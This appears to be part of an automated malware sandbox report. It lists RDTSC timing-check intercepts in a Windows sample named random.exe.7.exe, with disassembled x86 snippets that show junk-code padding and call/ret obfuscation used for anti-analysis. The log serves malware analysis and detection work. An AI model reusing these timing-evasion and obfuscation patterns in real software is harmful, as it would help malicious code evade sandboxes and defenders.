Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1256042 second address: 125604C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12561BC second address: 12561C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12567AC second address: 12567B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12567B2 second address: 12567B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12567B6 second address: 1256810 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D2DBFh] 0x00000011 push 00000000h 0x00000013 jmp 00007F3EBCCB1477h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F3EBCCB1468h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 add dword ptr [ebp+122D315Fh], eax 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1256810 second address: 125681B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125681B second address: 1256820 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1256820 second address: 125682D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125682D second address: 1256831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1258344 second address: 125836A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3EBCB3DBD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3EBCB3DBE7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1259949 second address: 125994D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125969A second address: 12596CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F3EBCB3DBE7h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125994D second address: 1259954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12596CC second address: 12596D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125A309 second address: 125A38C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F3EBCCB1468h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F3EBCCB1468h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov esi, 6C162E01h 0x00000047 push 00000000h 0x00000049 mov esi, 1E1BD730h 0x0000004e xor edi, dword ptr [ebp+122D259Eh] 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F3EBCCB1474h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125A38C second address: 125A392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125A088 second address: 125A08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125EABE second address: 125EAD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125EAD5 second address: 125EADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125EADB second address: 125EADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125EADF second address: 125EB61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sbb edi, 280DC974h 0x0000000f mov edi, dword ptr [ebp+122D1E0Bh] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F3EBCCB1468h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 or ebx, dword ptr [ebp+122D2E87h] 0x00000037 and di, 3E47h 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007F3EBCCB1468h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 0000001Ch 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 sub dword ptr [ebp+122D1CFEh], edx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push ecx 0x00000062 jmp 00007F3EBCCB1472h 0x00000067 pop ecx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12617F4 second address: 12617F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125FAE4 second address: 125FAEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1262728 second address: 126272C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1260AEA second address: 1260AF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12619ED second address: 12619FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12619FA second address: 1261A00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1264765 second address: 1264778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCB3DBDFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1263981 second address: 1263985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1265A72 second address: 1265A7E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1268A70 second address: 1268AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F3EBCCB146Ah 0x0000000b pop edx 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F3EBCCB1468h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a jmp 00007F3EBCCB146Fh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F3EBCCB1468h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b mov bx, 0BECh 0x0000004f push 00000000h 0x00000051 mov ebx, dword ptr [ebp+122D2C2Fh] 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F3EBCCB1470h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269AA1 second address: 1269AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F3EBCB3DBD8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 jnp 00007F3EBCB3DBDEh 0x0000002c push ecx 0x0000002d mov ebx, dword ptr [ebp+122D2D7Fh] 0x00000033 pop edi 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D3A19h], eax 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269AEF second address: 1269AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269AF3 second address: 1269AF9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126AA79 second address: 126AA7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126AA7E second address: 126AADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e ja 00007F3EBCB3DBE2h 0x00000014 nop 0x00000015 movzx ebx, bx 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D1F7Bh], esi 0x00000020 push ebx 0x00000021 mov bh, 27h 0x00000023 pop ebx 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F3EBCB3DBD8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 sub bx, 1612h 0x00000045 push eax 0x00000046 push edx 0x00000047 push esi 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1267AAA second address: 1267AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269C63 second address: 1269C68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1267AB3 second address: 1267AC0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269C68 second address: 1269C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269C7C second address: 1269C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269C82 second address: 1269C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1269C86 second address: 1269D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, 7D9ED299h 0x0000000e call 00007F3EBCCB1477h 0x00000013 mov edi, dword ptr [ebp+122D1CF6h] 0x00000019 pop edi 0x0000001a push dword ptr fs:[00000000h] 0x00000021 call 00007F3EBCCB146Fh 0x00000026 mov ebx, 4E539DCDh 0x0000002b pop ebx 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F3EBCCB1468h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d mov eax, dword ptr [ebp+122D143Dh] 0x00000053 push ebx 0x00000054 mov edi, 3B2593E1h 0x00000059 pop ebx 0x0000005a push FFFFFFFFh 0x0000005c and ebx, dword ptr [ebp+122D3ABCh] 0x00000062 nop 0x00000063 push ecx 0x00000064 push eax 0x00000065 push edx 0x00000066 push ebx 0x00000067 pop ebx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126BAEC second address: 126BAF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126CC52 second address: 126CC5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3EBCCB1466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126CC5C second address: 126CC89 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f movzx edi, dx 0x00000012 push 00000000h 0x00000014 jo 00007F3EBCB3DBDBh 0x0000001a and bx, F668h 0x0000001f cld 0x00000020 push 00000000h 0x00000022 mov di, F9D3h 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126BCC9 second address: 126BCD9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126BCD9 second address: 126BCE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F3EBCB3DBD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126CC89 second address: 126CCA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1476h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126BDA4 second address: 126BDA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126DCAB second address: 126DCAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126DCAF second address: 126DCBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126CE72 second address: 126CEFA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3EBCCB1474h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, 1E26h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a add dword ptr [ebp+122D373Bh], edi 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F3EBCCB1468h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000018h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov edi, ebx 0x00000043 mov eax, dword ptr [ebp+122D0DA9h] 0x00000049 and di, 1206h 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push edi 0x00000053 call 00007F3EBCCB1468h 0x00000058 pop edi 0x00000059 mov dword ptr [esp+04h], edi 0x0000005d add dword ptr [esp+04h], 00000014h 0x00000065 inc edi 0x00000066 push edi 0x00000067 ret 0x00000068 pop edi 0x00000069 ret 0x0000006a clc 0x0000006b nop 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 126CEFA second address: 126CF03 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1274093 second address: 12740BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3EBCCB1475h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278D7D second address: 1278D87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278D87 second address: 1278D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278D8D second address: 1278D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278D91 second address: 1278DA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278448 second address: 127844F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278719 second address: 127871F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 127871F second address: 127872B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 127872B second address: 1278748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1478h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278748 second address: 1278761 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3EBCB3DBEBh 0x00000008 jmp 00007F3EBCB3DBDFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1278761 second address: 127877D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3EBCCB1474h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 127DA02 second address: 127DA48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 ja 00007F3EBCB3DBD6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F3EBCB3DBDDh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F3EBCB3DBDBh 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jno 00007F3EBCB3DBD6h 0x00000028 jmp 00007F3EBCB3DBDFh 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 127DA48 second address: 127DA64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3EBCCB1466h 0x00000009 jno 00007F3EBCCB1466h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push edi 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 127DA64 second address: 109FED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pop eax 0x00000007 cmc 0x00000008 push dword ptr [ebp+122D0F29h] 0x0000000e jno 00007F3EBCB3DBDDh 0x00000014 call dword ptr [ebp+122D25A3h] 0x0000001a pushad 0x0000001b cld 0x0000001c xor eax, eax 0x0000001e or dword ptr [ebp+122D1DCEh], ebx 0x00000024 mov edx, dword ptr [esp+28h] 0x00000028 or dword ptr [ebp+122D1F97h], eax 0x0000002e mov dword ptr [ebp+122D2F87h], eax 0x00000034 xor dword ptr [ebp+122D1DCEh], ecx 0x0000003a mov esi, 0000003Ch 0x0000003f jmp 00007F3EBCB3DBDEh 0x00000044 add esi, dword ptr [esp+24h] 0x00000048 cld 0x00000049 lodsw 0x0000004b cld 0x0000004c add eax, dword ptr [esp+24h] 0x00000050 jc 00007F3EBCB3DBDCh 0x00000056 xor dword ptr [ebp+122D1DCEh], esi 0x0000005c mov ebx, dword ptr [esp+24h] 0x00000060 pushad 0x00000061 mov dword ptr [ebp+122D1FE3h], esi 0x00000067 or ebx, dword ptr [ebp+122D2EA3h] 0x0000006d popad 0x0000006e nop 0x0000006f push ecx 0x00000070 pushad 0x00000071 jmp 00007F3EBCB3DBE7h 0x00000076 pushad 0x00000077 popad 0x00000078 popad 0x00000079 pop ecx 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d jl 00007F3EBCB3DBD8h 0x00000083 pushad 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1282F98 second address: 1282FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCCB1472h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1282FAE second address: 1282FB4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
